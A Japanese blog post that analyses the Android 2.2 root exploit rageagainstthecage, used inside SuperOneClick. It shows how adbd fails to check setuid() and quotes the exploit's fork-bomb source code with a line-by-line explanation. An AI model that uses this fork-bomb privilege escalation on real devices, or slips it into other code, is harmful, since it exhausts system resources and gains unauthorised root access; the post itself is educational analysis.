SuperOneClick 自体は、GUI画面で Android 実機を操作する補助ツールでしかなく、root 権限を取得するための別のツールを内部で実行している。このツールの1つが rageagainstthecage である。
ADB (Android Debug Bridge)で少し触れたように、クライアントの PC から ADB を通じて Android を操作する場合、Android 実機内でコマンドを直接実行しているのは adbd (ADB Daemon) である。つまり、全てのコマンドは adbd の実行ユーザの権限に依存する。SuperOneClick v1.6.5 (Root編)でも触れたが、通常 adbd は shell ユーザとして実行されているが、これを root ユーザで実行させることができればどんなシステム領域でもアクセスできるようになる。rageagainstthecage はこれを実現させるものである。
まずは、ターゲットとなっている adbd について知る必要がある。adbd のソースコードは Android Open Soure Project によって Git で公開されている。SC-02B に搭載されている Android 2.2 (froyo) のソースコードは多分これ。
adbd の挙動を見極めるため、クライアントから adb shell で Android 実機に USBデバッグモードで接続して以下のコマンドを実行してみた。
$ ps ps USER PID PPID VSIZE RSS WCHAN PC NAME root 1 0 292 280 ffffffff 00000000 S /init shell 2331 1 3304 184 ffffffff 00000000 S /sbin/adbd shell 3271 2331 648 336 c031014c afd0eafc S /system/bin/sh shell 3280 3271 796 336 00000000 afd0dbbc R ps
ps コマンドの実行結果は必要な部分のみを抽出している。adbd は init の子プロセスになっている。PID 3271 の /system/bin/sh は、クライアントから adb shell した時に生成されるシェル。PPID から adbd がシェルのプロセスを生成して、そのシェルがコマンドを実行していることが分かる。
続いて、adbd のプロセスを強制終了させてみる。
$ kill -9 2331
adbd の子プロセスである PID 3271 のシェルのプロセスも終了させられるため、クライアントと Android 実機との接続も切断される。そして、再びクライアントから adb shell して ps コマンドを実行した結果は以下の通り。
$ ps ps USER PID PPID VSIZE RSS WCHAN PC NAME root 1 0 292 280 ffffffff 00000000 S /init shell 3286 1 3308 196 ffffffff 00000000 S /sbin/adbd shell 3293 3286 648 336 c031014c afd0eafc S /system/bin/sh shell 3294 3293 796 336 00000000 afd0dbbc R ps
adbd の PID が 3286 になっていることから、kill された後に起動し直されていることが分かる。人為的にコマンドを実行して adbd を起動したわけではないので、adbd のプロセスは生死を監視されていて、死んだ場合は自動的に adbd のプロセスを生成するようになっていることが分かる。
次にソースコードを見ていく。
904: /* then switch user and group to "shell" */
905: setgid(AID_SHELL);
906: setuid(AID_SHELL);
907:
908: /* set CAP_SYS_BOOT capability, so "adb reboot" will succeed */
909: header.version = _LINUX_CAPABILITY_VERSION;
910: header.pid = 0;
911: cap.effective = cap.permitted = (1 << CAP_SYS_BOOT);
912: cap.inheritable = 0;
913: capset(&header, &cap);
/init でプロセスを生成していることから、adbd は最初 root ユーザとしてプロセスが生成される。その後、setgid() (905行目)によってプロセスのグループIDが shell に、更に setuid() (906行目)によってプロセスのユーザIDが shell になる(AID_SHELL は shell ユーザの ID である 2000)。よく見ると、setgid() も setuid() もエラー処理をしていない(ただし、最新のソースコードでは修正済み)。つまり、何らかのエラーが発生してプロセスを shell ユーザに変更できなかったとしても問題なく動いてしまうわけだ。この場合、adbd は root ユーザとして実行されることになる。
こうして弱点が露呈されたところで、次は rageagainstthecage を見ていくことにする。少し長いがソースコードを貼ってみる。
94: adb_pid = find_adb();
95:
96: if (!adb_pid)
97: die("[-] Cannot find adb");
98:
99: printf("[+] Found adb as PID %d\n", adb_pid);
100: printf("[*] Spawning children. Dont type anything and wait for reset!\n");
101: printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"
102: "[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
103: "[*] If you are a company and feel like you profit from our work,\n"
104: "[*] we also accept donations > 1000 USD!\n");
105: printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");
106:
107: sleep(5);
108:
109: if (fork() > 0)
110: exit(0);
111:
112: setsid();
113: pipe(pepe);
114:
115: /* generate many (zombie) shell-user processes so restarting
116: * adb's setuid() will fail.
117: * The whole thing is a bit racy, since when we kill adb
118: * there is one more process slot left which we need to
119: * fill before adb reaches setuid(). Thats why we fork-bomb
120: * in a seprate process.
121: */
122: if (fork() == 0) {
123: close(pepe[0]);
124: for (;;) {
125: if ((p = fork()) == 0) {
126: exit(0);
127: } else if (p < 0) {
128: if (new_pids) {
129: printf("\n[+] Forked %d childs.\n", pids);
130: new_pids = 0;
131: write(pepe[1], &c, 1);
132: close(pepe[1]);
133: }
134: } else {
135: ++pids;
136: }
137: }
138: }
139:
140: close(pepe[1]);
141: read(pepe[0], &c, 1);
142:
143:
144: restart_adb(adb_pid);
145:
146: if (fork() == 0) {
147: fork();
148: for (;;)
149: sleep(0x743C);
150: }
151:
152: wait_for_root_adb(adb_pid);
153: return 0;
154: }
fork() は子プロセスを生成するシステムコール。
fork() の挙動は図の通り。
109行目で子プロセスを生成して親プロセスは死ぬ。そして setsid() によりデーモン化される。このデーモン化されたプロセスのことを、ここでは便宜上親プロセスと呼ぶことにする。
そしてpipe(pepe)。使われ方は図の通り。
fork() と pipe() が理解できたところで更にコードを読み進める。
122行目で fork() して子プロセスを生成した後、親プロセスはパイプに何か書かれるまで待機する(141行目)。
子プロセスは無限ループに入って孫プロセスをひたすら生成しようとする(125行目)。生成された孫プロセスは exit(0) されてゾンビプロセスとなる。ゾンビプロセスはプロセスを解放しないので、このままどんどん孫プロセスが生成され続けると、いつかはシステムリソースを食いつぶして孫プロセスの生成に失敗する。孫プロセスの生成に失敗した場合、子プロセスはパイプに1バイト書き込む(131行目)。
こうして親プロセスがパイプから1バイト読み出すことができるようになると、待機状態が解除されて処理が続行される。この時点でシステムリソースは食いつぶされているので、これ以上プロセスを生成することはできない状態である(fork bomb)。
下準備が完了したので、次に adbd のプロセスを kill する(144行目)。restart_adb() は単に adbd のプロセスID に対して kill() するだけの処理を行っている。adbd のプロセスが死ぬと、adbd 自身のリソースと adbd が生成したシェル、シェルが生成したプロセスのリソースが解放される。これらの解放されたリソースを早急に奪おうとするのが 146行目からの fork() の処理である。また、ひたすら孫プロセスの生成を繰り返している子プロセスもリソースを奪おうとする。そして、init は自動的に adbd のプロセスを生成しようとする。運悪く adbd のプロセスの生成に失敗すればこの場合は失敗して無限ループに陥る(wait_for_root_adb())。しかし、運良く adbd のプロセスが生成できた場合でもリソースが食いつぶされているので、前述のように setgid() や setuid() のシステムコールに失敗して adbd のプロセスは root 権限のまま起動する。その後、wait_for_root_adb() 内で kill(-1, 9) を実行して、rageagainstthecage 自身のプロセスと、rageagainstthecage の実行ユーザで kill 可能な全てのプロセス、つまり fork bomb で生成したプロセス全てを kill して rageagainstthecage は終了する。
以上が rageagainstthecage の内容である。
自分の理解が少し怪しい部分があるように思うが大体こんな感じだろう。間違い等あれば指摘して欲しい。
0 件のコメント:
コメントを投稿